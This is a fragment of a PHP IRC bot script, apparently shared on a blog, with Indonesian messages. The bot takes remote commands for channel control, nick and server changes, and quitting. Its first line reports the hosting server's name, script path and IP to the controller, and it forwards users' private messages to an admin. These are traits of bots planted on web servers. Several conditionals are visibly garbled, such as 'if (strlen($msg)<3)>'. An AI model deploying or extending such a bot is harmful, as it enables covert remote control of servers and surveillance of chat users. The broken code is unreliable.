fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport" . CRL);
}
}
elseif ($com[3]==':!up' && $chan) {
fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
}
elseif ($com[3]==':!down' && $chan) {
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
}
elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") {
$msg = strstr($data,":!cycle");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!cycle $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!cycle","",$msg);
}
if (strlen($msg)<3)>
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
fputs($fp, 'JOIN '.$partchan . CRL);
}
elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!part");
if (ereg("#", $com[4])) {
$partchan = $com[4];
$msg = str_replace(":!part $com[4]","",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(":!part","",$msg);
}
if (strlen($msg)<3)>
$msg = '';
}
fputs($fp, 'PART '.$partchan.' : '.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace("$remchan ","",$channels);
unset($channel);
$channel = explode(" ", $channels);
}
foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
}
//elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") {
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
$addchan = strtolower($com[4]);
if (!in_array($addchan, $channel)) {
$channel[]=$addchan;
$channels.="$addchan ";
}
foreach ($channel as $v) {
sleep(rand(1,6));
fputs($fp, 'JOIN '.$v . CRL);
}
}
//elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") {
$nick = $com[4];
$identify = $com[5];
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
}
elseif ($com[3]==':!k' && $com[4] && $chan) {
$msg = strstr($data,":!k");
$msg = str_replace(":!k $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
}
elseif ($com[3]==':!kb' && $com[4] && $chan) {
$msg = strstr($data,":!kb");
$msg = str_replace(":!kb $com[4]","",$msg);
fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
}
elseif ($com[3]==':!changenick') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
if (substr($dCommand,0,3)=='433') {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
}
elseif ($com[3]==':!op' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!deop' && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!v' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!dv' && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
}
elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":`awaymsg");
$msg = str_replace(":`awaymsg","",$msg);
if (strlen($msg)<3)>
$raway="on";
fputs($fp,'AWAY : ' . 'AWAY' . CRL);
}
else {
$raway="off";
fputs($fp,'AWAY : ' . $msg . CRL);
}
}
elseif ($com[3]==':!mode' && $com[4] && $chan) {
fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
}
elseif ($com[3]==':!nickmode' && $com[4]) {
$nickmode = $com[4];
fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
}
elseif ($com[3]==':!chanlist') {
fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
}
elseif ($com[3]==':!userlist') {
$userlist="";
foreach ($auth as $user) {
if ($user["pass"]) { $pass="-pass ok"; }
else { $pass="-no pass"; }
$userlist .= $user["name"].'('.$user["status"].$pass.') ';
}
fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
}
elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = strstr($data,":!quit");
$msg = str_replace(":!quit","",$msg);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT Ganti Server".CRL);
}
elseif ($com[3]==':!ident' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Ident ' . CRL);
}
elseif ($com[3]==':!fullname' && $auth["$dNick"]["status"]=="Admin") {
if (!$com[4]) { $realname = "--"; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, 'QUIT Ganti Nama ' . CRL);
}
elseif ($com[3]==':!topic' && $com[4] && $chan) {
$msg = strstr($data,":!topic");
$msg = str_replace(":!topic ","",$msg);
fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRLF);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY wawa **/
elseif ($com[3]==':!ngomong') {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,'PRIVMSG '.$chan.' : ACTION seneng boleh ngomong lagi! '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Ok boss, gue ngomong deh. ' . CRL); }
}
elseif ($com[3]==':!diam') {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION ga boleh ngomong neh :( '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :jadi sedih nich gak boleh ngomong... ' . CRL); }
}
}
else { fputs($fp,'NOTICE '.$dNick.' :Mohon auth dulu! Ketik: auth '. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
if (!ereg("#",$dCommand)) {
if ($log=="on") {
fputs($fp,'PRIVMSG '. $admin .' : 4inviter: ' . $dFrom . ' 2:' .$iText. CRL);
}
$inv = strstr($dFrom,'@');
foreach ($auth as $user) {
if ($user["status"]=="user") {
fputs($fp, 'NOTICE '.$user["name"].' : KB '.$chan.' '.$dNick.' '.$inv.' ' . CRL);
}
}
}
}
elseif (!ereg("#",$dCommand) && $log=="on") {
fputs($fp,'PRIVMSG '.$admin.' : 6' . $dFrom . ' 12:' .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG ' . substr($data,5) . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}
nungging($nick);
?>

Related Post



Comments (0)

Post a Comment